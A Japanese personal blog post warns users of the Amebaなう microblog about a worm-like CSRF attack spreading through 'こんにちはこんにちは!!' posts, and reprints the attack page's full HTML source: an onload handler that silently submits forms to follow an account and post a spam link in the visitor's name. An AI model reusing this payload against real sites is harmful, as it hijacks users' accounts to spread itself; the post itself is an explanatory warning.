新・元地方の中規模印刷会社で苦悩するWebデザイナー改めWebディレクターの日記

自由な20代、窮屈な30代を経て、遂に40代になっちまったWebディレクター&パソコン講師の覚書と思う言(こと)。略称【ちほちゅう】

*

「Ameba(アメーバ)なう」でこんにちは!祭

   

  • このエントリーをはてなブックマークに追加

1年以上前の記事です。内容が古い可能性があります。

先日、パソコン版が使えるようになったばかりの「Amebaなう」でこんにちは!!ワーム(のようなもの)が発生しているそうだ。

【緊急】アメーバなう利用中の皆さんへ【ご注意!】|ぼくはまちちゃん!(アメーバ)

お友達の書き込みに「こんにちはこんにちは!!」というものがあったら 絶対にクリックしないでください!!!!

アメーバにアクセスしている状態でこちらのリンクを踏むと感染?する。
アメーバなうでこんにちは! (←今は動かないようですが念のため踏まないでください)

ネットワーク 現場の教科書 増補改訂版 (IDGムックシリーズ)ネットワーク 現場の教科書 増補改訂版 (IDGムックシリーズ)
販売元:アイ・ディ・ジー・ジャパン
発売日:2008-07-16
レビューを見る

スポンサーリンク
 

クロスサイトスクリプティングに似たクロスサイトリクエストフォージェリ(CSRF)といった技術を使ったワームのようなものらしい。
@IT:「ぼくはまちちゃん」 ――知られざるCSRF攻撃

ちなみにソースはHTMLとJavascriptだけという簡単なもの。
勉強になるので公開しちゃう。いいですよね、製作者さん。

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>アメーバなうでこんにちは!</title>
</head>
<body onload="document.getElementById('f1').submit();document.getElementById('f2').submit()">
<form action="http://now.ameba.jp/api/follow" method="post" id="f1" target="ifr1">
<input type="text" name="followAmebaId" value="主のID">
</form>
<form action="http://ucsnow.ameba.jp/post" method="post" id="f2" target="ifr2">
<input type="text" name="entryText" value="こんにちはこんにちは!! http://bit.ly/7RIjd8">
<input type="text" name="replyEntryId" value="0000">
</form>
<iframe name="ifr1"></iframe>
<iframe name="ifr2"></iframe>
</body>
</html>

このページを開くとonloadで書かれたスクリプトが実行される。
スクリプトにはフォームのサブミット(送信)ボタンを押せと書かれている。
で、そのフォームが「Amebaなう」に上記サイトのリンクを入れた定型文を書き込むフォームと、主さん?をフォローするフォームになっている。
ちなみにiframeはその結果を表示させるためにある。
(followAmebaIdとreplyEntryIdは書き換えました)

まあ、単純に「Amebaなう」内だけではなく、外部からも書き込みやフォローができるようになっていたということだと思う。

とりあえず現在は閉めちゃったみたいで動いていないみたい。
主さんのAmebaなうアカウントも消されちゃったみたいですし。。

一部ではAmebaのマーケティング手法の一つだろうと言っている人もいますが果たして。。

Amebaなう(アメーバなう)
のりささんの投稿したなう | Amebaなう(アメーバなう)

※ この記事は前日の深夜書いたものでして、現在上記「アメーバなうでこんにちは!」のサイトは全く危険性の無いサイトに入れ替わっています。(公開時追記)
※ ブコメで指摘受けたのでワーム(のようなもの)に表記を変えました。
ちなみにワームとは (さらに追記)

 - セキュリティ, 雑談

アドセンス広告メイン

Message

メールアドレスが公開されることはありません。

  関連記事

今年はリアルを充実(リア充)させる年に【年頭所感】

1年以上前の記事です。内容が古い可能性があります。去年も5日に掲げていた年頭所感 …

富士フイルムがエボラ出血熱を攻略!感染したフランス人看護師が完治!

1年以上前の記事です。内容が古い可能性があります。これは嬉しいニュースです。 □ …

docomoの「GALAXY S5」からソフトバンクの「iPhone 7 Plus」に変えました。

1年以上前の記事です。内容が古い可能性があります。今日は純粋に単なる日記を書かせ …

no image
【動画】 稼げる男を見分けるたったひとつの質問 by メンタリストDAIGO

1年以上前の記事です。内容が古い可能性があります。「稼げる男を見分けるたったひと …

郊外ハブ駅の朝の通勤ラッシュ時の電車で必ず座れる方法

1年以上前の記事です。内容が古い可能性があります。皆さんは通勤電車で必ず座ろうと …

OAuthとOpenIDにセキュリティホール(脆弱性)、Facebookなどにも影響が

1年以上前の記事です。内容が古い可能性があります。世の中セキュリティホールありす …

こんなに

1年以上前の記事です。内容が古い可能性があります。当たった。 rootsのブラッ …

嫌いな芸能人「江頭2:50」のV10を阻んだのは「島田紳助」

1年以上前の記事です。内容が古い可能性があります。□ “嫌いな芸人”江 …

九州ヤバい。数十年以内に桜島が大噴火する可能性があると京大研究グループ

1年以上前の記事です。内容が古い可能性があります。先日、鳥取県で大きな地震があり …

一部の意見で放送中止となった矢口真里さん出演の「日清食品」カップヌードルのCM

1年以上前の記事です。内容が古い可能性があります。もうね。 一部の人の意見に動か …

血液型オヤジ